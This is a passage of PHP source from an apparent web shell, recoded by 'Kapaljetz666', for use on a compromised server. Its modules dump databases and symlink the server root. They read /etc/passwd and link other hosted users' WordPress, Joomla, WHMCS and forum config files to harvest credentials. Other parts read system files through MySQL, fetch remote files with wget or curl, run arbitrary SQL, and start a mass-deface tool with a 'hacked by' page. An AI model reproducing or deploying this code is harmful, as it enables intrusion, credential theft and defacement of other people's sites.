2109 <option value="gzip">Gzip</option>
2110 <option value="sql">Sql</option>
2111 </select>
2112 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
2113 </form></center></table>';
2114if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
2115$date = date("Y-m-d");
2116$dbserver = $_POST['server'];
2117$dbuser = $_POST['username'];
2118$dbpass = $_POST['password'];
2119$dbname = $_POST['dbname'];
2120$file = "Dump-$dbname-$date";
2121$method = $_POST['method'];
2122if ($method=='sql'){
2123$file="Dump-$dbname-$date.sql";
2124$fp=fopen($file,"w");
2125}else{
2126$file="Dump-$dbname-$date.sql.gz";
2127$fp = gzopen($file,"w");
2128}
2129function write($data) {
2130global $fp;
2131if ($_POST['method']=='ssql'){
2132fwrite($fp,$data);
2133}else{
2134gzwrite($fp, $data);
2135}}
2136mysql_connect ($dbserver, $dbuser, $dbpass);
2137mysql_select_db($dbname);
2138$tables = mysql_query ("SHOW TABLES");
2139while ($i = mysql_fetch_array($tables)) {
2140 $i = $i['Tables_in_'.$dbname];
2141 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
2142 write($create['Create Table'].";\n\n");
2143 $sql = mysql_query ("SELECT * FROM ".$i);
2144 if (mysql_num_rows($sql)) {
2145 while ($row = mysql_fetch_row($sql)) {
2146 foreach ($row as $j => $k) {
2147 $row[$j] = "'".mysql_escape_string($k)."'";
2148 }
2149 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
2150 }
2151 }
2152}
2153if ($method=='ssql'){
2154fclose ($fp);
2155}else{
2156gzclose($fp);}
2157header("Content-Disposition: attachment; filename=" . $file);
2158header("Content-Type: application/download");
2159header("Content-Length: " . filesize($file));
2160flush();
2161
2162$fp = fopen($file, "r");
2163while (!feof($fp))
2164{
2165 echo fread($fp, 65536);
2166 flush();
2167}
2168fclose($fp);
2169}
2170
2171}
2172
2173/* Goblok
2174 start here */
2175// domain viewer by S1r_V1ru5 rec0de by Kapaljetz666
2176 elseif(isset($_GET['x']) && ($_GET['x'] == 'dv')){ @ini_set('output_buffering',0);
2177{
2178 ?>
2179 <form action="?y=<?php echo $pwd; ?>&x=dv" method="post">
2180 <center><h2>Domain Viewer by S1r_V1ru5<br>notes: if blank(no domain) that mean not work use domain viewer, you can use symlink server</center><br><br>
2181 <?php
2182 function openBaseDir()
2183{
2184$openBaseDir = ini_get("open_basedir");
2185if (!$openBaseDir)
2186 {
2187 $openBaseDir = '<font color="green">OFF</font>';
2188 }
2189 else
2190 {
2191 $openBaseDir = '<font color="red">ON</font>';
2192 }
2193 return $openBaseDir;
2194}
2195
2196
2197echo '
2198 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
2199 <td height="100" align="left" class="td1">';
2200 $pg = basename(__FILE__);
2201 $safe_mode = @ini_get('safe_mode');
2202 $dir = @getcwd();
2203 ////////////////////////////////////////////////////
2204 // LET'S PLAY ~
2205 ##.htaccess
2206@mkdir('pee',0777);
2207@symlink("/","pee/root");
2208$htaccss = "Options all
2209 DirectoryIndex Sux.html
2210 AddType text/plain .php
2211 AddHandler server-parsed .php
2212 AddType text/plain .html
2213 AddHandler txt .html
2214 Require None
2215 Satisfy Any";
2216
2217file_put_contents("pee/.htaccess",$htaccss);
2218$etc = file_get_contents("/etc/passwd");
2219$etcz = explode("\n",$etc);
2220
2221
2222##Symlink to the ROOT :p
2223foreach($etcz as $etz){
2224$etcc = explode(":",$etz);
2225error_reporting(0);
2226
2227$current_dir = posix_getcwd();
2228$dir = explode("/",$current_dir);
2229
2230symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2231symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2232symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2233symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2234symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
2235symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
2236symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2237symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2238symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2239symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2240symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
2241symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
2242symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
2243symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
2244symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
2245symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
2246symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
2247symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2248symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2249symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2250symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2251symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2252symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2253symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2254symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2255symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2256symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2257symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2258symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2259symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2260}
2261#############################
2262 if(is_readable("/var/named")){
2263 echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2264 echo'<tr><td><center><b>SITE</b></center></td><td>
2265 <center><b>USER</b></center></td>
2266 <td></center><b>SYMLINK</b></center></td>';
2267 $list = scandir("/var/named");
2268 foreach($list as $domain){
2269 if(strpos($domain,".db")){
2270 $i += 1;
2271 $domain = str_replace('.db','',$domain);
2272 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2273
2274 echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2275 <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
2276 <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2277 }
2278 }
2279 echo "<center>Total Domains Found: ".$i."</center><br />";
2280 }else{
2281 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
2282
2283break;
2284
2285##################################
2286error_reporting(0);
2287$etc = file_get_contents("/etc/passwd");
2288$etcz = explode("\n",$etc);
2289if(is_readable("/etc/passwd")){
2290
2291echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2292echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
2293
2294$list = scandir("/var/named");
2295
2296foreach($etcz as $etz){
2297$etcc = explode(":",$etz);
2298
2299foreach($list as $domain){
2300if(strpos($domain,".db")){
2301$domain = str_replace('.db','',$domain);
2302$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2303if($owner['name'] == $etcc[0])
2304{
2305$i += 1;
2306echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
2307<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2308<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2309}}}}
2310echo "<center>Total Domains Found: ".$i."</center><br />";}
2311
2312break;
2313###############################
2314if(is_readable("/etc/named.conf")){
2315echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2316echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
2317$named = file_get_contents("/etc/named.conf");
2318preg_match_all('%zone \"(.*)\" {%',$named,$domains);
2319foreach($domains[1] as $domain){
2320$domain = trim($domain);
2321$i += 1;
2322$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2323echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2324}
2325echo "<center>Total Domains Found: ".$i."</center><br />";
2326
2327} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
2328
2329break;
2330############################
2331if(is_readable("/etc/valiases")){
2332echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2333echo'<tr><td><center><b>SITE</b></center></td><td>
2334<center><b>USER</b></center></td><td></center>
2335<b>SYMLINK</b></center></td>';
2336$list = scandir("/etc/valiases");
2337foreach($list as $domain){
2338$i += 1;
2339$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2340echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2341<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2342<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2343}
2344echo "<center>Total Domains Found: ".$i."</center><br />";
2345} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
2346
2347break;
2348}}
2349##########################
2350#JembutLoyality
2351##########################################
2352#######################
2353########################
2354# JAAAAAAAAAAAAANCCCCCCCCCCCOOOOOOOOOOOOOK
2355##################
2356# recode by Kapaljetz666
2357#########################
2358#gue kasih skat biar ga pusing :v
2359##################################
2360//////////////////
2361########################################################################
2362########################################################################
2363#########################################################################
2364# END
2365############## MYSQL ########################################
2366elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
2367{
2368$sqlhost = $_GET['sqlhost'];
2369$sqluser = $_GET['sqluser'];
2370$sqlpass = $_GET['sqlpass'];
2371$sqlport = $_GET['sqlport'];
2372if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
2373{
2374$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";
2375$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&'>[ databases ]</a>";
2376if(isset($_GET['db'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
2377if(isset($_GET['table'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";
2378$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
2379$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
2380$tables = array();
2381$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
2382while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
2383foreach($tables as $table){
2384$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
2385elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
2386$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
2387list($total) = mysql_fetch_row($hasil);
2388if(isset($_GET['z'])) $page = (int) $_GET['z'];
2389else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
2390while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
2391$data = " ";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
2392for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
2393if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
2394elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
2395$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
2396if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
2397for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
2398if($rows[$j] == "") $dataz = " ";
2399else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
2400else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
2401else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
2402while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
2403$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
2404@mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
2405<br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect !<br>if you want use mysql interface by S4MP4H, change url '&x=mysq' to '&x=sql'</h2>
2406<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" />
2407<input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr>
2408<th colspan="2">Connection Form</th></tr> <tr><td> Host</td><td>
2409<input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
2410<tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
2411<tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
2412<tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" />
2413</td></tr></table></form></div></center>
2414<?
2415 }
2416 }
2417########################################################################
2418# START UPLOAD #
2419elseif(isset($_REQUEST['upload'])){ $s_result = " "; $msg = "";
2420if(isset($_POST['uploadcomp'])){
2421 if(is_uploaded_file($_FILES['file']['tmp_name'])){
2422 $path = magicboom($_POST['path']);
2423 $fname = $_FILES['file']['name'];
2424 $tmp_name = $_FILES['file']['tmp_name'];
2425 $pindah = $path.$fname;
2426 $stat = @move_uploaded_file($tmp_name,$pindah);
2427 if ($stat) {
2428 $msg = "file uploaded to $pindah";
2429 }
2430 else $msg = "failed to upload $fname";
2431 }
2432 else $msg = "failed to upload $fname";
2433}
2434elseif(isset($_POST['uploadurl'])){
2435 $pilihan = trim($_POST['pilihan']);
2436 $wurl = trim($_POST['wurl']);
2437 $path = magicboom($_POST['path']);
2438 $namafile = download($pilihan,$wurl);
2439 $pindah = $path.$namafile;
2440 if(is_file($pindah)) {
2441 $msg = "file uploaded to $pindah";
2442 }
2443 else $msg = "failed to upload $namafile";
2444
2445}
2446?>
2447<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
2448<table class="tabnet" style="width:320px;padding:0 1px;">
2449<tr><th colspan="2">Upload from computer</th></tr>
2450<tr><td colspan="2"><p style="text-align:center;"><input style="color:#FFFF00;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
2451<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
2452</tr>
2453</table></form>
2454<table class="tabnet" style="width:320px;padding:0 1px;">
2455<tr><th colspan="2">Upload from url</th></tr>
2456<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
2457<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
2458<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
2459<tr><td><select size="1" class="inputz" name="pilihan">
2460<option value="wwget">wget</option>
2461<option value="wlynx">lynx</option>
2462<option value="wfread">fread</option>
2463<option value="wfetch">fetch</option>
2464<option value="wlinks">links</option>
2465<option value="wget">GET</option>
2466<option value="wcurl">curl</option>
2467</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
2468</tr>
2469</table>
2470<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
2471<?php }
2472/////////////////////// END
2473/////////////////////// START HASH
2474elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
2475 {
2476 ?>
2477 <?php
2478$submit= $_POST['enter'];
2479if (isset($submit)) {
2480$pass = $_POST['password']; // password
2481$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
2482$hash = md5($pass); // md5 hash #1
2483$md4 = hash("md4",$pass);
2484$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
2485$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
2486$hash1 = sha1($pass); // sha1 hash #4
2487$sha256 = hash("sha256",$text);
2488$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
2489$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
2490}
2491echo '<form action="" method="post"><table class="tabnet">';
2492echo '<th colspan="2">Password Hash</th></center></tr>';
2493echo '<td><b>masukan kata yang ingin di encrypt:</b></td>';
2494echo '<td><input class="inputz" type="text" name="password" size="40" />';
2495echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
2496//echo '</td></tr><br>';
2497echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
2498echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr>';
2499echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
2500echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr>';
2501echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
2502echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
2503echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
2504echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr>';
2505echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
2506echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>';
2507}
2508
2509///////////// END OF HASH
2510########################################################################
2511######################################################
2512////START HASH ID
2513elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
2514if(isset($_POST['gethash'])){
2515 $hash = $_POST['hash'];
2516 if(strlen($hash)==32){
2517 $hashresult = "MD5 Hash";
2518 }elseif(strlen($hash)==40){
2519 $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
2520 }elseif(strlen($hash)==13){
2521 $hashresult = "DES(Unix) Hash";
2522 }elseif(strlen($hash)==16){
2523 $hashresult = "MySQL Hash / /DES(Oracle Hash)";
2524 }elseif(strlen($hash)==41){
2525 $GetHashChar = substr($hash, 40);
2526 if($GetHashChar == "*"){
2527 $hashresult = "MySQL5 Hash";
2528 }
2529 }elseif(strlen($hash)==64){
2530 $hashresult = "SHA-256 Hash";
2531 }elseif(strlen($hash)==96){
2532 $hashresult = "SHA-384 Hash";
2533 }elseif(strlen($hash)==128){
2534 $hashresult = "SHA-512 Hash";
2535 }elseif(strlen($hash)==34){
2536 if(strstr($hash, '$1$')){
2537 $hashresult = "MD5(Unix) Hash";
2538 }
2539 }elseif(strlen($hash)==37){
2540 if(strstr($hash, '$apr1$')){
2541 $hashresult = "MD5(APR) Hash";
2542 }
2543 }elseif(strlen($hash)==34){
2544 if(strstr($hash, '$H$')){
2545 $hashresult = "MD5(phpBB3) Hash";
2546 }
2547 }elseif(strlen($hash)==34){
2548 if(strstr($hash, '$P$')){
2549 $hashresult = "MD5(Wordpress) Hash";
2550 }
2551 }elseif(strlen($hash)==39){
2552 if(strstr($hash, '$5$')){
2553 $hashresult = "SHA-256(Unix) Hash";
2554 }
2555 }elseif(strlen($hash)==39){
2556 if(strstr($hash, '$6$')){
2557 $hashresult = "SHA-512(Unix) Hash";
2558 }
2559 }elseif(strlen($hash)==24){
2560 if(strstr($hash, '==')){
2561 $hashresult = "MD5(Base-64) Hash";
2562 }
2563 }else{
2564 $hashresult = "Hash type not found";
2565 }
2566 }else{
2567 $hashresult = "Not Hash Entered";
2568 }
2569
2570 ?>
2571 <center><br><Br><br>
2572
2573 <form action="" method="POST">
2574 <tr>
2575 <table class="tabnet">
2576 <th colspan="5">Hash Identification</th>
2577 <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
2578 <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
2579 </table></tr></form>
2580 </center>
2581
2582 <?php
2583
2584}
2585//////////////////// MASS DEFACE START HERE
2586elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
2587{
2588echo "<center/><br/><b><font color=white>Mass Deface (recode by Kapaljetz666)</font></b><br>";
2589error_reporting(0);?>
2590<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
2591<br>
2592<br>
2593note: if not domain in deface result, that mean this site not work mass deface (permission denied)<br><td><table><table class="tabnet" >
2594<form hethot='post'>
2595<tr>
2596 <tr>
2597 <td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
2598 </tr><br>
2599 <tr>
2600 <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="del.htm"></td>
2601 </tr>
2602</tr>
2603<th colspan='2'><b>Script Deface</b></th><br></table>
2604<textarea style='background:black;outline:none;color:white;' name='index' rows='10' cols='67'>
2605<html>
2606<head>
2607<title>hacked by Kapaljetz666</title>
2608<link rel='SHORTCUT ICON' type='image/x-icon' href='http://i48.servimg.com/u/f48/16/08/07/74/indone10.gif'>
2609<meta name="robots" content="index, follow">
2610<meta name="Description" content="hacked by Kapaljetz666">
